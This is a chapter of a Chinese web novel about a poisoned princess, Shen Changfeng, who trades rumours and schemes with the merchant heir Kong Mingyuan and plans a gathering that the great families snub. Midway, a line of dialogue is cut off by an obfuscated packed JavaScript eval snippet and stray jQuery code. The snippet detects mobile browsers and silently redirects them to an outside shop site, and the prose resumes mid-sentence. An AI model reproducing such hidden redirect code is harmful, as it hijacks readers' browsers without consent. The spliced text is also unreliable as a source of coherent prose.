只见孔明远从石凳上直接起身,微微拱手鞠上了一礼。
“回禀公主,明远想好了。”
沈长风食指轻轻敲了敲石桌。
白玉一般的石桌随着她食指的敲击,发出了清脆的声响。
沈长风看着石桌上的管家对牌微微一笑,起身扶起了孔明远的胳膊,一脸宽慰。
“人各有志,明远的心意,我知晓了,明远不必自责。”
孔明远看着如此好说话的沈长风,心中的包袱一松,连忙说道。
“多谢公主体恤。”
沈长风拿起手帕轻轻一咳,随手,有意无意地遮掩住了手帕上的血迹。
“明远,你也太见外了,别忘了,我们本就是皇都的第一至交好友啊!”
孔明远没有错过沈长风刻意遮掩的手帕,语气有些担忧地问道。
“寺中清修的这段时间,公主的身体可是有所好转了?”
他浅浅在语间试探着。
沈长风一副看淡生死的模样,推拉着回道。
“生死大事本就不由得自己做主,苟活一天便已是长风的幸运,我又怎敢再奢求其他的呢!”
孔明远看着面前的沈长风一副活不起,命不久矣的模样,宽慰道。
“公主吉人天相,一定会洪福齐天的。”
看这样传闻所得是真的,他们这位公主眼看着是活不久了。
看来公主中毒一事千真万确。
沈长风看着孔明远面上的担忧不似作假,微微点了点头。
“但愿如明远所言,我能活得长长久久吧!”
但愿他是发自内心说的这些话。
一盏茶后。
孔明远直接起身拜别沈长风走出了公主府。
待主仆二人走出公主府上了马车。
一直跟在孔明远身边没有说话的阿财,这才开了口。
“二爷,咱们在公主府守株待兔了那么长时间,不就因为市井流言找公主讨要公道去的嘛。
您怎么今天见到公主,反而没有说起这件事了?
您这是打算吃哑巴亏不跟公主提了?”
孔明远摇了一把手中的扇子,若有所思道。
“眼看着她都活不久了,这市井的流言又能传多久。
按理说,这市井的谣言,还是女子比男子更吃亏一些。
你莫怕,等公主病去后,凭借这你二爷这相貌堂堂的长相,还害怕找不到合适的孔家主母了,你不必如此多虑。
现在我的婚事还不能定,这时候,多了一个挡箭牌正好。”
现在时局未明,早早定下婚事对孔家恐无益处,尚须等上一等。
坐在一旁的阿财连忙吹捧。
“那是,我家二爷那可是相貌堂堂,聪明才智,一定能找到一个善解人意,体贴入微的孔家主母!”
孔明远听着阿财的话,满意地摇着手中的折扇,美美地笑了笑。
公主府。
沈长风看着手中雅集的名单,陷入了沉思,对着身旁的冬至问道。
“宫里那两位回话了吗?”
冬至如实回道。
“目前还未收到宫里的回信,听说,另一位自从皇后娘娘和太子殿下离世之后,她就直接去云栖寺清修去了。至今还未回皇都,所以送去的帖子自然也没有收到回信。”
沈长风把手中的雅集名单往冬至面前递了递。
“既然咱们公主府已经修缮完毕了,这偌大雅致的公主府也不能独独留我一个人欣赏,按照名单上的名字都给我递一遍帖子,咱们也该告诉这皇都里的人,我沈长风回来了!”
冬至弯腰接过了雅集的名单,轻声回道。
“是,公主。”然后又把怀里孔明远刚刚给她的金叶子,往沈长风面前递了递。
“公主,这是刚刚孔二公子赏给奴婢的金叶子。”
沈长风看着她手里的金叶子,含笑说道。
“他给你,你就收着,这种事以后只多不少。你这几片金叶子对于孔明远来说,根本不会放在心上。
以后他少不了会借着与你的交情,在你这打探我的消息。
你只管挑些无伤大雅的事情告诉他,毕竟咱们也要讲究一个有来有往不是!”
冬至乐呵呵地把金叶子塞进了衣袖里,连忙说道。
“咱们这位孔二公子当真是个行走的散财童子,富贵闲人。”
沈长风笑着逗着冬至。
“怎么,心动了,嫌弃我这公主府没有孔二公子有钱了!”
冬至连忙给沈长风递上了一盘果脯。
“公主,只知道拿奴婢打趣,就算孔府是那金窝银窝都不上咱们的公主府!
不过,奴婢心有疑惑,按理说市井流言孔二公子应该已经有所听闻,为何他今日并未选择在公主面前主动提及?”
沈长风拿起她递过来的果脯,轻轻一咬,望着随风摇曳的树枝,解释。
“孔二自傲,在他心里,我这公主无非只占了一个公主的虚名,更何况,我如今身中奇毒,早就命不久矣。
他又何必为了这迟早就能散去的流言来触了我的霉头。
据我所知,咱们这位孔二少爷的婚事,孔老太爷可是头疼的紧呢!
他与我的谣言如今散布在这市井之中,我估计,正和了咱们这位孔二公子的心思,他想要的也不过是利用我的流言,来掌握他自己的婚事罢了。
说到底,这场流言蜚语也不过是我们二人心照不宣的互相利用!”
冬至不解地问道。
“那公主明知,又为何让奴婢去散布这种对公主名节不利的市井流言?”
沈长风直觉口中的果脯有些甜腻,拿起手边的茶杯连忙喝了几口,解释道。
“因为,我要坑孔二啊!”
与其任由他人随意拿捏自己的名节,还不如她自己先一步将其弄脏。
搅混这皇都城里的水,最好能绝了她父皇日后想要把她外嫁的心思。
毕竟就算日后联姻,对方也不会要一个名声风流荒唐的公主。
孔府。
孔明远刚跨进孔府的大门,就直接奔向了孔老爷子的书房。
刚一进书房,只见孔老爷子正拿着手中的账本敲打着算盘。
孔明远对着孔老爷子恭敬地行完礼后,直言道。
“祖父,一切如孙儿推想的一样,公主确实身中奇毒,命不久矣,上面让在公主府插进去的眼线已经顺利地安排进去了。”
孔老爷子放下了手中的账本,把算盘一推。
“这些天你在公主府受累了,你看都清瘦了,赶紧让厨娘给你做点药膳好好补补!”
孔明远微微颔首,笑着答道。
“是,祖父。”
说完,他正打算从书房退出去,刚跨出门,就听到孔老爷子对着孔明远问道。
“子安啊,我最近偶尔听闻市井中有人说,你,你和公主......”
还没等孔老爷子问完,孔明远直接转身对着孔老爷子说道。
“怎么?如今祖父也听信了那市井里荒唐的流言。”
孔老爷子看着孔明远面上不耐烦的样子,顿时把心放到了肚子里,呵呵着。
“你没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594982|205408||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有那个心思就行,你要知道,你顶着的可是我们孔家的门楣。虽然咱们是商贾人家,但是那面首咱们也是做不得的。
咱们孔家的主母那也是要从人群中千挑万选里选出来的,容不得马虎!
莫要步你三叔的后路啊。”
孔明远听着孔老爷子即将滔滔不绝的话,只觉得从小到大耳朵都听出茧子了,找着借口逃脱。
“老爷子,孙儿最近忙于公主府的修缮事宜,竟疏忽了各地掌柜呈上来的账本,孙儿这边还有事就先退下了。”
说完,没有再给孔老爷子留人的机会,直接一溜烟地跑远了。
孔老爷子望着窗外自己孙儿落荒而逃的身影,摸了摸自己发白的胡子,暗想着。
自家的孙儿自己还是了解的,自己给他千挑万选的那些世家贵女他都看不上,又怎么能看上这从塞外回来的破落户公主呢!
没准真是自己多虑了!
他把账本和算盘往书案的边上推了推,转头拿起书案上的一张纸写了起来。
待他写完后,轻轻吹了吹纸张上的墨迹,对着身边的老奴说道。
“去,把这封信送到陈家那个人的手里,记得千万要谨慎小心,切莫让别人发现。”
身边的老奴上前一步接住了孔老爷子递过来信,立即答道。
“是,老爷子放心。”说完,他便拿着信从角门悄默声地走了出去。
公主府。
沈长风看着手里的帖子,对着身边的王叔问道。
“雅集的请帖都发出去了,可收到了回帖?”
王叔看着手里的请帖,犹豫再三地开口。
“回公主请帖都发出去了,不过,不过......”
沈长风看着欲言又止的王叔,问道:“不过什么?”
王叔一脸愤慨地说道。
“陈家和李家把咱们的帖子都给拒了,回帖说家中有事,怕扰了雅集的兴致就不来参加了。”
沈长风一脸早已猜到模样,又问了问。
“那其他家呢?”
王叔支支吾吾,如实禀报着。
“其他家见陈家和李家给拒了,估计也是害怕得罪两家的人就接连地把手中的帖子也都给拒了。”
“这些狗仗人势的东西,想想三年前咱们公主的帖子,那可都是颇受皇都世家名流的追捧,那时候人人都以能参加咱们公主的雅集为荣。
谁能想到自皇后娘娘和太子殿下离世后,这些人竟敢如此捧高踩低,连这上门的面子都不给咱们留了。
简直是狗胆包天!
可怜我们公主如今竟然被这些登不上台面的东西如此轻贱!”
王叔说着说着又哭了起来,伸出袖子抹了抹眼角的眼泪。
沈长风看着王叔一脸伤心的模样,宽慰着。
“王叔不必如此伤心,面子没了就没了。这东西又不顶饭吃,大不了日后我们再给挣回来就是了,不打紧的,王叔不必如此伤心。”
一旁的冬至听到急忙应和。
“就是,就是,大不了以后我们再给挣回来。”说着,便安抚地轻轻拍了拍身旁的王叔劝解着。
王叔看着沈长风一脸波澜不惊,没有丝毫受到影响的模样,欣慰道。
“对,日后咱们公主府必能挣回来这面子!”
“公主,只不过咱们这三日后的雅集咱们还办吗?”
沈长风轻轻一笑。
“办啊,一切按照之前商定好的时间操办。记得,我们不仅要办,还要办的足够盛大,足够热闹!”
到时候,就算他们不想来,估计也要来。